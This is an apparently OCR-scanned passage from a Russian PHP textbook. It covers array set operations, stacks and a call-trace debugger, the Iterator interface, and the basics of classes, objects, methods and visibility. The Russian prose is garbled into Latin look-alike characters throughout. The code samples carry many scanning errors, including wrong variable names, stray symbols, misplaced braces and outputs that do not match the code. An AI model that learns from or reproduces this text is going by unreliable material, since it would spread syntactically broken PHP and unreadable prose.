MaccuBbl M03BOJISIIOT BaM peajin30BaTh 6a30Bble OMEPAllMU TEOPHH MHOXKECTB:
obbenuHeHue, nepeceyeHre U pasHuily. Kaxxmoe MHOXeCTBO MOXHO NpeiCTa-
BUTh B BH/Ie MacCuBa, a pa3nuuynbie PHP-¢pyHkuuu peanusyor Habop omnepa-
M. 3HAYeHUsI BO MHOXKECTBE SIBJISIOTCS 3HAYEHUSIMU B MacCHBE — KJIIOYM He
HCIOJIb3YIOTCS, HO OHU COXPaHSIIOTCS ONepalUsIMU.

O6benuHeHme IBYyX MHOXKECTB — MHOXECTBO, coJepikaliiee B cebe Bce aieMeH-
TBI MCXOIHBIX MHOXXECTB, AyOJUpyolIMecs: 3HadyeHus yaassitorcsi. OyHKIuUu
array_merge() M array_unique() II03BOJIIIOT BaM BBIYHCIUTH 0OObEIUHEHHE.
PaccMOTpUM, KaK HalTH 06beIUHEHHE IBYX MAaCCUBOB:

function arrayUnion($a, $b)
{
$union = array_merge($q, $b); // By6nukathi Bce ewe cywecTsyoT

$union = array_unique($union);

return $union;
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$first = array(1, “mea”, 3);

$second = array(“asa”, “Tpu”, "vetnipe”);
$union = arrayUnion($first, $second);

print_r($union);
Pesynbrar:
Array(
[0]=>1
(1]=>gsa
[2]=>3
(4] => 1pu

[5] => uetbipe
)
[lepeceuenue IByXx MHOXECTB — 3TO HaboOp OOIIMX 371€MEHTOB, BXOASIIMX B 062
mHoxectBa. B PHP ectb BcTpoeHHast YHKLUST array_intersect(), MPHHUMAIO-
111as1 11060€ YMCII0 MACCHBOB B KAYECTBE aPI'yMEHTOB U BO3BPAII[AIOII[Ast MACCHB, CO-
CTOSININI U3 3HAYEHH T, KOTOPBIE €CTh B KXKIOM M3 HUX. Ec/i y HECKOIbKHX KJTIO-
yeii eCTb OIHO U TO XK€ 3HAYEHHE, COXPAHSIETCSI MEPBBIi KJIIOY C ITUM 3HAYEHHEM.

Crexn

Crek (111 0Yepesb) — 3TO B MPUHIMIIE BCeM U3BeCTHAsI CTPyKTypa aanubix LIFO
(Last In First Out - [locennum 3aties, nepsbiM Bbimen ). Xotst B PHP creku ne
OYEHb YACTO UCTOJIB3YIOTCS TI0 CPABHEHHIO C IPYTUMU SI3BIKAMH MTPOrPAMMUPO-
BaHMsI, MBI MOJKEM CO3[aBaTh CTEKH, Ucmoab3yst napy PHP-byHkuuit - array_
push() © array_pop(). @DYHKUUSA array_push() HIEHTHYHA MPHUCBAMBAHUIO
$array[]. Mbl ucHONb3yeM array_push{), 4TOOBI SIBHO yKa3aTb, YTO Mbl pabo-
TaeM MUMEHHO CO CTEKOM, YTO BMECTE€ C MCIIOJIb30BAHHUEM array_pop() Jdesiaer
nporpammy Oosiee yutabenbhoil. Takxke B PHP ects dynkuuu array_shiff()
U array_unshift(), KOTOpbIE MO3BOJISIOT PabOTATh C MACCHBOM KaK CO CTEKOM.

Crekut 0cO6€HHO MOJIE3HBI 1JIs1 peaTu3ali MallnHbI cCOCTOsIHMIL. B mpumepe 5.4
NpUBeJeH MPOCTON OTJIAAYUK COCTOSIHMH, MO3BOJISIONMI BaM BBIBECTH CITHCOK
&yHKIMH, KOTOPbIe ObLTH BBI3BAHbI 10 3TON TOYKH (TO €CThb BBIMOJHUTD TPACCH-
POBKY CTeKa).

AR BB AR R RN A RS S SR B R R AR AN A A NS S S AR BRRRR W

Mpumep 5.4. Otnanuuk cocrosuma  :

$callTrace = arrayl();
function enterFunction($name)
global $callTrace;

$callTrace[] = $name;
echo “Bxon { $name) (crek =" . join(' -> ', $callTrace) . “)<br />*;
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function exitFunction()

{

echo "Buixoa<br />";
global $callTrace;
array_pop($callTrace);

function first()

3 1

enterFunction(“first”);
. exitFunction();

£ )

*  function second()

¢

: enterFunction(”second”);
. first();

: exitFunction();

i)

. function third()

s

enterFunction(“third”);
: second();

- first();

exitFunction();

P

' firsi();

= third();

PaccMoTpuM BbIBOJ TIpuMepa 5.4:

Bxon first (ctek = first)

Beixop,

Bxog third (ctek = third)

Bxon second (ctek = third -> second)
Bxon first (crek = third -> second -> first)
Beixop,

Beixop,

Bxon first (crek = third -> first)

Beixop,

Buixog

5.11. Uurepdeiic iterator

Ncnonb3yst KOHCTPYKILUIO foreach, BBl MOJKeTE UTEPUPOBATH HE TOJIBKO MO Mac-
CHUBaM, HO TaK’ke IO 3K3eMILIsIpaM KJacCOB, KOTOPbIe PeaJU3yIoT UHTepderic
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lterator (cM. TJ1. 6). s peanusanuu HHTepdeiica lterator Bbl JOJDKHBI pea-
JIU30BaTh [ISITh METO/IOB B BAIlIEM KJIACCE:

current() - BO3BpAILlAET 3JIEMEHT, HA KOTOPBIA B JaHHBIII MOMEHT YKa3bl-
BaeT UTEPATOP;

key() - BO3BpalllaeT KJII0Y TEKYUIETO 3JIEMEHTA,

next() - MEpeMelaeT UTEPATOP Ha CJEAYIOLIMX 3JIEMEHT OObEKTa U BO3-
BpalllaeT ero;

rewind() - mepeMelLlaeT UTEPATOP Ha NEPBBIIl 3JIEMEHT MacCHBa;

valid() - BO3BpalllaeT te, €CJAM UTEPATOP YKa3blBaeT Ha JOMYCTHUMBIH
3JIEMEHT, false - B IPOTUBHOM CJIyvae.

ITpumep 5.5 3aHOBO peasu3yeT MPOCTOM KJIACC UTEPATOPA, COAEPKALIMIA CTATH-
YeCKHI MacCUB JaHHbIX.
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fMpumep 5.5. Untepdeiic iterator

class BasicArray implements Iterator

private $position = 0;
private $array =[“nepsuit”, “sTopoi”, “tpetuir’];

public function __construct()

{
}

$this->position = 0;

public function rewind()

{
}

$this->position = 0;

public function current{()

{
}

return $this->array[$this->position]

public function key()
{

}

return $this->position;

public function next()

{
}

$this->position += 1;




___________

public function valid()

{
}

return isset( $this->array[$this->position]);

}
$basicArray = new BasicArray;

foreach ($basicArray as $value) {
echo “{$valve}\n";
}

foreach ($basicArray as $key => $value) {
echo ”{ $key} => { $value}\n";
}

Pesysbrar:
nepebiv
BTOPOM
Tpetuit
0 => nepeuiit
1 => Bropo#
2 =>1petuin

Korna Bbl peanusyere uHTepdeiic Iterator Ha Kjacce, Bbl CMOXeTe 0OXOIUThb
3JIEMEHTbl B 0OBEKTaX KJacca, MCIOJb3yss KOHCTPYKLUIO foreach. OQHAKO BbI
He cMoKeTe 06paniaThCs K 9K3eMILIsipaM KJiacca, Kak K MaccuBaM. [1pumep:

class Trie implements lterator

{
const POSITION_LEFT = “left”;

const POSITION_THIS = “this”;
const POSITION_RIGHT = “right”;

var $leftNode;
var $rightNode;

var $position;

// peanusyiite meToas lterator 3peck...

}
$trie = new Trie();

rewind($trie);

ITOT MpUMep MepeMaThiBaeT yKa3aTesb MUTEpaTopa Ha CBOMCTBA $trie, UCIOJIb-
3ys1 BCTPOEHHYI0 G YHKIHIO rewind() BMECTO BbI30Ba METO/A rewind() B $trie.

OnuuoHanbHas 6ubnuoreka SPL npenocraBisier orpoMHoe pa3HooGpa3ue Mo-
JIE3HBIX UTEPATOPOB, B TOM YHCJIE UTEPATOPHI (ailIoBON CUCTEMBI, lepeBa U T.1.
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O6bekTHO-opreHTHPOBaHHOe mporpammupoBanne (OOII) oTkpbiBaeT aBepu
B GoJiee rPaMOTHOMY MPOEKTHPOBaHHI0, OoJiee MPOCTOMY 0OCTYXXKHMBAHUIO KOAA
1 6osiee MacuITabHbIM BO3MOXXHOCTSIM MTOBTOPHOTO HCMOJIb30BaHUs kKofa. Bax-
Hoctb OOTI ceroaHs HaCTOJIBKO BEJMKA, YTO HEMHOTHE Obl CErOHS OCMENUIIUCD
TNPECTABJIATD SI3bIK, KOTOPbIi He ObL1 6bl 06beKTHO-OpHeHTHPOBaH. B PHP ecTb
MHoro nose3ubix ¢pyukuuid OOII u ata ryaBa nokaspiBaeT, Kak UX HCMOJIb30-
BaTb.

OOII npenocraisieT ocCHOBOMNOJIArallee coeIMHEHHEe MeX Ay TaHHbIMU U KO-
110M, 06pabaThIBAIOIINM 3TH JaHHbIE, U MO3BOJISIET BaM pa3pabaTbiBaTh U pea-
JIM30BbIBAaTh MPOrpaMMbl Ha OCHOBaHUM 3TOro coequHenusi. Hanpumep, nocka
00bsiBJIEHNIT 0OBIYHO OTCJIEXKHMBAET MHOTHX noJsb3oBatesneii. [1pu ucnosnb3oBa-
HHMM MPOLIEYPHOTO s3blKa MPOrPAMMHPOBAHHUS KaX/Iblil M0JIb30BaTeNb ObLT Obl
CTPYKTYPOM AaHHBIX, Takxke OyaeT psaa PyHKUUH, KOTOpble OyayT paboTaTh O
CTPYKTYypaMU JaHHbIX MOJb30BaTes el (CO3AaHNe HOBBIX MOJb30BaTeNel, NOIy-
yerune uHdopMalMK O Mojb3oBatese U T.A.). [Ipy ucnonb3oBaHUHM OOBEKTHO-
OPMEHTHPOBAHHOTO MPOrPaMMHUPOBAHUSI KaX /bl MOJb30BaTesb OyaeT obbek-
TOM - CTPYKTYPOM JaHHBIX BMECTE C KOJOM /1151 HX 00paboTku. [laHHbIe U KO/ BCe
ellie eCTh, HO Tenepb OHW 06PabaTHIBAIOTCS KaK HeJeMMast, eIMHast CYUIHOCTb.

B runoternyeckoii nocke o6bsaBIeHHIT 06BEKTbI MOTYT NPEACTAB/ISATh HE TOJIb-
KO MOJIb30BaTeJjIed, HO U COOOLIEHHS], @ TAKXKe MOTOKH. Y 06beKTa MoJIb30BaTe-
JIsl €CTb MMSI N0JIb30BATEIS U NapoJib, YTOObI MAEHTH(HUIMPOBATDH BCe coobiile-
HMS 3TOrO noJjb3oBatens. OObeKT coobIeHUs “3HaeT”, KAKOMY MIOTOKY OH TPH-
HaJIJIE)XHUT, UMEET KO /IS OTIIPAaBKH HOBOTO COOOLIEHUSI, OTBETA Ha CYILECTBY-
1olee cooblenne U st otobpaxenus coobieHnit. O6bEKT MOTOKA - 3TO Ha-
60p 06bEKTOB COOOILEHHIT M €r0 KO/ CTOCOOEH BbIBECTH HAa 3KPAH CMHCOK BETOK.
U 3TO TOJIBKO OIMH M3 CIOCOOOB Pa3eIuTh He0OXOAUMYI0 (DYHKIIMOHATIBHOCTD
Ha 00beKThl. B kauecTBe asibrepHaTHBbI KO 106aBJIEHUST HOBOTO COOO1IIEHHUS MO-
XKEeT HaXOAUThCs B 00BEKTE MOJIb30BaTEs], a He B 06bekTe coobieHus. Paspa-
60TKa 06 BEKTHO-OPUEHTHPOBAHHBIX CUCTEM SIBJISAETCS CJIOXKHOM TEMOi U 10 Helt
HanmucaHo MHOTO KHMT. M oyeHb BaxHO, uto B PHP cyuiecTByioT BO3MOXHOCTH
1151 pa3paboTKH 06bEKTHO-OPUEHTUPOBAHHBIX PELIEHUH.

O6bexT 1Mo CBOEH CyTH MpeacTaBsieT obbearHeHne kojaa (To eCTb MOBeAeH s )
Y JaHHbIX (TO €CTb CTPYKTYPbl) U B TAKOM BU/€ SIBJISIETCSI MOAYJIbHOM eqUHUIIEH
A1 pa3paboTKH MPUIOKEHUH U MOBTOPHOTO UCMOJIb30BaHHs Koaa. B aToit ria-
Be OyzeT noka3aHo, Kak Bbl MOXETe OTNPE/IesATh, CO31aBaTh U UCMOJIb30BATh 00b-
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exTbl B PHP. Takxe B 3T0i1 r;1aBe 6yayT pacCMOTPEHbI TaKWe MOHSTHS, KAK HH-
TPOCINEKLHS U CepHaIu3alLius.

6.1. TepmMnMHONOrUA M OCHOBHBIE NOHATUS

¥ kaxa0ro 06beKTHO-OPUEHTUPOBAHHOTO SI3bIKA €CTb CBOM HAaOODP MOHATHIA IS
OJHMX U TeX XKe CTaHJAPTHbIX KOHLENIMii. B aToM pasaesie Mbl paccMOTPUM IO-
HATHS, KoTopble ucnosbdyeT PHP, B apyrux si3bikax nmporpaMMHpOBaHHUs 3TU
MIOHSATHUS MOTYT UMETb JPYTOe 3HaYEHHE.

JlaBaiiTe BepHeMCsl K HallleMy NPUMeEPY C M0JIb30BaTENSMH JOCKU 00bsIBJIEHUM.
BaM Hy>HO OTCJIeX)XHBaTh OMMHAKOBYIO0 HHGOPMALIMIO 1JIs1 KaXI0T0 MOJIb30Ba-
TeJIs1 U 1JIs1 Pa3HbIX M0JIb30BaTeJIeil BbI3bIBATh OIHU U Te K€ (PYHKIMH B PaMKax
paboThl ¢ JAaHHBIMHU KaX10r0 noJib3oBareJsi. Koraa Bbl npoexTHpyeTe nporpam-
My, BbI ONpejiesisieTe M0JIsl ISl KaXKJI0ro MOJIb30BaTeis, TO eCTh YKa3bIBaeTe, Ka-
Kas MHOpMaLIH1sI MOXKET COiepXKaTbCs 151 10J1b30BaTeIs, U NHLIeTe HEKOTOpble
¢dbyHK1MY 10 paboTe ¢ JaHHBIMU U3 3TUX noJieit. B tepmunonorun OOII Bb nmpo-
eKTHpYETe K1acc.

Kunacc — 3to mabaox ais noctpoenust o6bextoB. Mu no apyromy: kiiacc — 3tTo
onucaresb MHOXeCTBa 06beKTOB. OOBEKT - ITO SK3EMILJISIP KJ1acca.

B Hauiem npumepe B 06beKTE XPaHUTCS CTPYKTYPa JaHHbIX MOJIb30BaTENsl B BU/IE
Ti0JIeld, a TaK)Ke MPUCOeIMHEHHBIN Ko GYHKIMIA 06pabOTKH 3THX AaHHbIX. Ecin
MPOBOMTDb aHAJIOTMH, OGBEKTHI M KJIACChl HEMHOTO IIOX0)KH HA IEPEMEHHbIE M THITbI
JaHHbIX. ECTb OIMH 11e1blii TUI JaHHBIX (integer) U MHOXKECTBO BO3MOXCHBIX 1I€JIbIX
Yuce1, e OJHO YKCJIO — ATO KaK Obl 3k3eMIIsip (00beKT) Kiacca integer. AHaso-
TMYHO, Balia nporpamma omnpezensier oauH kiaacc «IIOJIb3OBATEJIbs, no mo-
XKET CO3/1aBaTh MHOTO Pa3HbIX M0JIb30BaTeeH-00bEKTOB Ha €r0 OCHOBE.

ﬂaHHbIe, CBA3aHHbIE C O6'beKTOM, Ha3bIBAIOTCSl CBOLUCMBAMU. q)yHKl_lI/IH, CBA-
3daHHbIE C 06’bEKTaMPI, Ha3bIBAIOT Memoodamu. Korna BbI ONnpeaendaeTe Kjacc, Bbl
OnpenedaeTe UMeHa €ero CBOMCTB U 33/1aeTe KO/ /1711 €r0 METO/IOB.

Otnanka u 06cIyXKUBaHHE MPOrPaMMbl CTAHET HAMHOTO MpOILLE, €CJIH Bbl HC-
T0JIb3yeTe unKancyrayuio. Vlies MIHKancyasiiiMy B TOM, YTO KJIacC NPeJoCTaBIsi-
€T ornpe/ieJieHHble METO/IbI /1151 OCTAJIbHOTO BHELIHErO KO/Ja, KOTOPbIii UCMOJIb3Y-
€T 00 BEKTbI ITOTO KJIACCA, HO He 1aeT HEMOCPEACTBEHHOTO JOCTYNA K CTPYKTYpaM
NaHHbIX 06beKTOB. PaboTaTh ¢ JaHHBIMU OOBEKTOB MOXHO TOJIKO Yepe3 BbI30B
METOJI0B 3THX 00beKTOB. Biiarofapsi TakoMy MoAX01y 3HAUMTENbHO YIPOLIAeT-
Cs1 OTJIAfIKA, TAK KaK JIOKaIMU3yloTcs obmact noucka omn6ok. Takxke cTaHOBUT-
cs1 npolie ¥ 06¢iyKMBaHKe, IOTOMY YTO Bbl MOXKETE MEHSITh PEAM3aL1K KJlac-
ca, He U3MEHSIsl KOJI, KOTOPBIii UCIOJIb3YeT KJIAcC, OKa Bbl MOAePXXUBAETE OAMH
1 TOT ke uHTepdeiic (unmepgeiic — nabop memooos).
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Eute onvs ocHoBomnosaraomuii npuHiun O OI1, 0 koTopoM ciienyer pacckasarb, —
3TO HacJefoBaHKe. JII060i HeTPUBUAIbHBIM 0ObEKTHO-OPUEHTHPOBAHHBIMH IPO-
€KT UCIIOJIb3YEeT Hacledos8anue.

HacnenoBanue — 370 criocob ornpeiesieHns HOBOrO Kjlacca Ha OCHOBaHUH Cyllle-
CTBYIOIIETO C 100aBJIEHNEM HOBBIX MJIM U3MEHEHHEM CYIIECTBYIOLIMX CBOUCTB
u MeToz1oB. CTaphlii KJlacc Ha3bIBaeTCs CynepkaaccoM (MM POAUTETbCKUM, Ga-
30BBIM KJIACCOM), @ HOBBIH KJ1acC Ha3bIBAETCS MOAK/IACCOM (MJIM MPOU3BOIHBIM
kyaccoM). HaciienoBanue - 3To ¢ropMa MOBTOPHOTO UCTIOIb30BaHUS KO/Ia, KOT/Ia
K071 6a30BOT0 KJ1acca MOBTOPHO UCIOJIb3YETCSI BMECTO €r0 KOMMPOBaHMSI U BCTaB-
KM B HOBBIH Kiiacc. JIro6oe yayymenue uin Moaudukamnus 6a30Boro Kjiacca aB-
TOMAaTHYECKH O0TOOPa’kaeTcsi B IPOU3BOIHOM KJIacce.

6.2. Cospanue o6bekTa

Hamuoro mpoie co3maBaThb OOBEKTHI KaKOro-JuO0 CYIIECTBYIOIIETO KJacca
Y HCIIOJIb30BaTh UX, YeM 0OBSIBIIATH Kaacchl 00bekToB. [IoaTOMy nmepen TeM, Kak
MBI pasbepeMcs, Kak ONpefesaTh COOCTBEHHbIE KJIACChI, JaBaiiTe IOCMOTPUM Ha
cosnanue o6beKkToB. [1yisi co3maHusi 06beKTa 3alaHHOTO KJiacca, MCIOJIb3yHTe
KJIIOYEBOE CJIOBO new:

$object = new Class;

HDEIIHOJIaI‘aSI, 4YTO KJIaCcC Person OIpe€/I€JIEH, BbI MOXETE CO37aTh 06BEKT ITOrO
KJ1aCCa TaK: v

$rasmus = new Person;

He Hy>xHO 3aKi04aTh Ha3BaHUE KJIACCA B KABBIYKM, MHAYE MOJTYyYUTE OUIHOKY
KOMITHJISILIVIM:

$rasmus = new “Person”; // we pabortaet
HeKOTOpre KJIaCChbI IMTO3BOJISIOT BaM MMEpeAaBaTb apPryYMEHThI BbI3OBY new. B no-

KyMEHTallUH 110 KJIaCCYy Bbl Y3HAETE, IPUHUMAET JIM OH aPryMEHThI. Ecmu na, To
BbI MOJXKXETE CO31aBaThb 0OBEKTBI ITPUMEPHO TaK:

$object = new Person(“Fred”, 35);

Bbl MoXeTe MpeoCTaBUTh UMSI KJIacca Yepe3 MepeMEHHYIO:

$class = “Person”;
$object = new $class;
// sKkeuBaneHTHO
$object = new Person;

Ecau Bbl yKakeTe HECYIECTBYIOIINI KJIacc, 3TO NPUBENET K OUIMOKe BPEMEHH
BBIMTOJTHEHHSL.
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[TepemeHHbIe, cogepxkalire CChUIKA 00beKTa, KaK U OOBIYHBIE TIEPEMEHHBIE, MO-
IyT MCIOJIb30BAThCS CaMbIMU Pa3jMyHbIMU criocobamu. ObpaTuTe BHUMaHUE,
4TO MepeMeHHbIe-CChIKKA PaboTaloT ¢ 00bEKTaMH, KaK N0Ka3aHOo 3/1eCh:

$account = new Account;
$object = “account”;
${$object}->init(50000, 1.10);  // 1o xe, uto u $account->init

6.3. BocTyn Kk cBOMCTBaM M METOAAM

Kaxk Tospk0 Yy BacC €CTb 06’beKT, Bbl MOXXETE UCIT0JIb30BATb 3aITHCh -> IJIs MOJIyde-
HUSA AOCTYIIAa K METOAaM U CBOICTBaM 0OBEKTA:

$object->propertyname $object->methodname([arg, ... ]}

Hanpumep:
echo "Bospact Pacmyca - { $rasmus->age} ner.\n"; // moctyn k ceoiictey
$rasmus->birthday(); // BbI30B MeTOAQ
$rasmus->setAge(21); // BbI30B METOAQ C OPryMeHTaMM

MeTO]_IbI IleﬁCTByIOT TaK Xe€, KaK U ¢)yHKHHH (O]_IHaKO INIPpUMEHUMDBI B 6OJIbLIMH-
CTB€ CJIy4a€B TOJIbKO K paCCMaTpUBa€MOMY 06’bEKTy), IIO3TOMY OHU HE TOJIbKO
IIPUHUMAIOT apryMEHTbI, HO U BO3BpalllalOT 3HA4Y€HHA:

$clan = $rasmus->family(“extended”);

I[Ipu onpeaesieHKH Kjlacca Bbl MOXETE yKa3aTh, KAKHE METOAbI U CBOMCTBA OyayT
ny6IMYHO AOCTYNHDI, @ Kakne OyAyT AOCTYIHBI TOJIBKO B NPeelax KJacca, Ue-
nosb3yst Moaudukatops! public u private. Bol MoXeTe HCIOb30BaTh UX, YTOObI
obecneyuts HHKancyasuu. Ho 06 aTom uyTh noaxe.

Tako>xe MOXHO UCIIOJIb30BaTh NnepeMeHHbIe AJ151 3alaHUSA HUMEH CBOICTB:

$prop = 'age’;

echo $rasmus->$prop;
Craruyeckuie MeTObI ONpEENSIIOTCS B KJacce M BbI3bIBAIOTCS 6€3 co3daHus
obbekTa. Takne MeTO/bI HE MOTYT MOJIy4aTh JOCTYIN K CBOWCTBaM (1 3TO NOHST-
HO, Beb OOBEKT He ONpe/esieH U MeTo He “3HaeT”, K KAKMM CBOMCTBaM MOJy-
4UTb goctyn). Ms craTyeckoro Meroza - 3To MMsI KJlacca C MOCIeAyIOIMMU
ABYMsI IBOETOYMSIMU U MMeHeM MeToza. HanpuMep, cienyouuii Ko BbI3bIBaeT
cTaTuYecKui MeTo p(), onpeaeneHHbil B kiacce HTML:

HTML::p(“Hello, world");

[Ipu 06bsiBI€HMHM KJ1acCa BbI ONPeieIisieTe, KaKiie CBOMCTBA U METO/IbI OyayT cTa-
THYEeCKHMH, HUCIOJIb3Ysl KJI0YeBOE CJIOBO static.
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Kak To/1bk0 06BEKTBI CO3/1aHbl, OHU TIEPEAAIOTCS 10 CChIIKE (UTO SKOHOMMUT Ia-
MSITh 110 CPaBHEHUIO C KOMMPOBaHHeM Bcero oobekTa). Hanpumep:

$f = new Person("®pen”, 35);
$b = $f; // $bu $f ykaawisaloT Ha oauH 1 TOT xe obbekT
$b->setName(”Baphu”);

printf(“%s u %s - nyswue apyabs\n”, $b->getName(), $f->getName());
BeiBon:
BapHu u baphu - nydwue apyabs
Eciau BBl X0THTE co31aTb UMEHHO KOIIHUIO O6’beKTa, HC]'IOJIb3yfITe oneparop clone:

$f=new Person("®pen”, 35);
$b = clone $f; // $b u $f ykaaweatoT Ha opuH 1 TOT xe obvexT
$b->setName("bapru”);

printf(“%s u %s - nywwue apyssa\n”, $b->getName(), $f->getName());

BriBoa:
®pea v baphu - nyuwwe apyaes

Kornaa Bbl ucrosib3yere oneparop clone [71si CO3aHUsI KONTMHM 00BEKTA, a B KJlac-
ce obbekTa 0ObsiBIIEH MeTOA _ clone(), TO JaHHBIA MeTox OyaeT BbI3BaH cpa-
3y e NocJie KJIOHUPOBaHusi 00beKkTa. Bl MOXeTe UCMOJIb30BaTh ITO MOBEIEHHE
B CJIy4asiX, KOrja 0ObeKThl XPAHST BHEIIIHUE PeCyPChl (HAapUMep, 1ECKPUIITOPBI
(haiinioB) a1 co31aHMUST HOBBIX PECYPCOB, 2 HE KOMMPOBaHUSI CYHIECTBYIOIIMX.

6.4. O0vaBneHue Knacca

Yrobbl paspaboTaTh Ballly MpPOrpaMmy MJd OMOJIMOTEKY KOga B OOBEKTHO-
OPUEHTUPOBAHHOM CTHJIE, BAM HYXHO OINPEAEJUTh CBOM COOCTBEHHBIE KJac-
Chl, MCIIOJIb3ysl KJIOYEBOE CJIOBO class. IIpy onpesesieHUU Kjacca 3alaeTcs
MMs1 KJlacca, a TakKe CBOMCTBa M MeToabl Kjacca. FIMeHa kjacca He 4yBCTBH-
TEJIbHBI K PETMCTPY CUMBOJIOB M JIOJIXKHBI COOTBETCTBOBATH NpaBuJaM st PHP-
unentudukaropoB. MMsa kiacca stdClass 3ape3epBMPOBAHO U €TO UCIOJIb30-
BaTb HEJIb3sI.

paCCMOTpl/IM CUHTAKCHC OIIPEAEJTIEHUA KlaCCa:

class classname [ extends baseclass ] [ implements interfacename,
[interfacename, ... ] ]



..............

[ use traitname, [ traitname, ... ]; ]
[ visibility $property [ = value J; ... ]

[ function functionname (args) {
// xon
)

}
OnpepenexHue meToaos

Meron - aTo pyHkuMs, onpenenenHasl BHyTpu kaacca. Xotsst PHP He Haknaabi-
BaeT KAKMX-TO CIIEUATIbHBIX OrPaHHUYEHUH, OOJIBIIMHCTBO METO/IOB IOJIXKHbI pa-
60TaTh C JAaHHBIMHU TOJIBKO B Npefiesiax 0ObeKTa, B KOTOPOM OIpeaesieH METOI.

MMeHna MeTo10B, KOTOPble HAYMHAIOTCA C JBYX 3HAKOB [IOA4ePKHUBaHMs (__), MO-
ryT 6bITh Mcnosib3oBaHbl PHP B GynyiieM (B 1aHHbIA MOMEHT TaKHe HMeHa UC-
[0JIb3YIOTCSA AJIs1 METOJ0B oObekTa cepuanu3anuvu - __sleep() U __wakeupl(),
KOTOPbIH Oy/1eT OM1CaH ajiee B 3TOM rJ1aBe), IO3TOMY He PEKOMEH1yeTCsl Hauu-
HaTh UMeHA cOOCTBEHHbBIX METOIOB C 3TO OCJI€10BATEIBHOCTH.

BuyTpu Metona nepemerHast $this COIEPXKUT CChLIKY Ha TeKylnit oobekt. Ha-
NpUMep, €eCJHd Bbl BbI3BAIH $rasmus->birthday() BHyTpH Metona bithday(),
TO $this OymeT coaepkaTh TO Ke 3HaYeHHe, YTO M $rasmus. METOABI HCIIOIB3Y-
0T TIepeMeHHYI0 $this ZJIsl JOCTYIa K CBOMCTBAM TEKYIero o6beKTa v AJsl 10-
CTyIa K METOJaM 3TOro 0ObeKTa.

PaccmoTpuM onpeznesieHre NpocToro Kjacca Person, 1€MOHCTPUPYIOLIETO Iepe-
MeHHYIO $this B 1eiicTBUM:

class Person
public $name = ;

function getName()

return $this->name;

}

function setName($newName)

$this->name = $newName;

}

Kak Buaute, MeTonbl getName() U setName() MCMONB3YIOT $this A qOCTyma
K CBOMCTBY $name TEKYILErO 0ObEKTA.
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I[JISI 00DbsIBJIEHUS METOJla CTAaTHYECKHM, PICI]OJIbSyﬁTe KJII0Y€BOE CJIOBO static.
BHyTpI/I CTaTHUYECKHUX METOZ0OB NEPEMEHHAA $this He ONpeAeaAaeTCA. HaanMep:

class HTMLStuff
{

static function startTable()

{
}

echo “<table border=\"1\">\n";

static function endTable()
echo "</table>\n";

}
)
HTMLStuff::startTable();

// BbiBOAUT cTPOKM M cTonbusl HTML-cTpanmub:
HTMLStuff::endTable();

Ecau Bbl 06bsiBJIsieTE METO/ C MCIOJIb30BAHHEM KJIIOYEBOrO CJioBa final, moza-
KJIaCChl HE MOTYT TMEPeoIpeieuTh ero. Hanpumep:

class Person

{
public $name;
final function getName()
{
return $this->name;
}
)

class Child extends Person

{
// cuHTakcuueckas owmbka
function getName()

// do something

}

Ucnonp3ys moandukaTtopsl Kiacca, Bbl MOXXeTe€ U3MEHUTb BUAMUMOCTb METO-
10B. MeTo/ibl, KOTOpbIE JOJIKHBI ObITh OCTYIIHBI 32 TIpeieiaMi 00beKTa, HyX-
HO 00BSABUTD KaK public. MeTOABI KJ1acca, KOTOPbIE IOJKHBI BbI3bIBATHCS TOJIb-
KO METOJIaMH 3TOTO e KJacca, Hy>KHO OOBbSABUTH Kak private. Moaudukatop
protected pa3pellaeT AOCTYN HacJeAyeMblM U POAUTENbCKUM KJaccaM. Ompe-
JieJIeHe BUIMMOCTH METO/IOB KJIacca Heobs3aTeIbHO, €CJIN Bbl HE YKa3aJI BU/M-
MOCTb METO/a, METO/I CYMTaeTCsA myOanuHbiM (public). Hanpumep:
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class Person

{
public $age;
public function __construct()
{
$this->age = 0;
}
public function incrementAge()
{
$this->age += 1;
$this->ageChanged|);
}
protected function decrementAge()
{
$this->age -= 1;
$this->ageChanged|);
}
private function ageChanged()
{
echo “Bospact usmenen Ha { $this->age}”;
)
}

class SupernaturalPerson

public function incrementAge()
{
// naobpoT, ymeHswaem Bo3pact
$this->decrementAgel);
}
}

$person = new Person;
$person->incrementAge|();

$person->decrementAge(); // e paspeweno
$person->ageChanged|); // Taxxe He paspeweHo

$person = new SupernaturalPerson;

$person->incrementAge(); // Bm3siBaeT Ha camom gene decrementAge

IIpu onpenenern MeTO0B 0ObEKTA Bbl MOXKETE MCIIOIb30BaTh KOHTPOJIb THIIA
(cM. . 3):

class Person

{
function takelob(Job $job)
{
echo “Now employed as a { $job->titte} \n";
}
}
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O6vaBneHue cBOWCTB

B npenbiaynieM oGbsiBIeHUH Kjacca Person Mbl OOBSIBUJIM CBOMCTBO $name.
OO6bsiBJIeHHE CBOMCTB He sIBJISIETCS 00s13aTeIbHBIM, TAK KaK BbI B 1000 MOMEHT
MOJKeTe MHULMAJM3UPOBATh HOBYIO EPEMEHHYIO, HO MIPEBAPUTENBHOE UX 00B-
sIBJIEHWE CYLIECTBEHHO IMOBbIIIAET yI0060YNTaAEMOCTb POrPaMMBI, a TOTOMY Ha-
crosiTenbHo pekomenayercs. B PHP cuuraercss xopomum cTuneM oObABAATD
Ballli CBOMCTBA, TAK)KE BbI MOXKeETe B J1060e BpeMst 106aBUTb HOBbIE CBOMCTBA.

PaccmoTpuM Bepcuio kiacca Person, B KOTOPOH CBOMCTBO $name He ONPeesIeHO:

class Person

(

function getName()

{
}

return $this->name;

function setName($newName)

{
}

$this->name = $newName;

}

BI)I MOJXXEeTe HAa3HAYUTb CBOﬁCTBaM 3HA4YE€HUd I10 yMOﬂ‘{aHPﬂO, HO 3TU 3HAYEHUA
JOJI>KHBI 6bITb HpOCTbIMI/I KOHCTaHTaAMHU.
public $name = “J Doe”; // pabotaer

public $age = O; // paboraer
public $day =60 * 60 * 24; // ne paboraer

1o anasioruu ¢ METOAAMH, UCTIOJIb3YsI MOTUMUKATOPBI JOCTYIA, BBl MOXKETe U3-
MEHUTb BUAMMOCTb CBOUCTB. CBOMCTBA, KOTOPbIE MOJKHBI OBITh JOCTYIIHBI 3a
npeneiaMu o6beKTa, HY)KHO OOBSBUTH Kak public. CBOMCTBA, KOTOPbIE IOJIK-
HbI OBITh JOCTYMHBI TOJBKO METOZAM 3TOTO KJAcCa, AOJUKHBI ObITh 0ObsBJIE-
HBl KakK private. MoaudUKaTOp protected pa3peliaeT AOCTYN HacJaeayeMbIM
U POTUTEJIBCKUM KJIACCAM.

PaCCMOTpI/IM 00bABIEHHE KJIacCa:

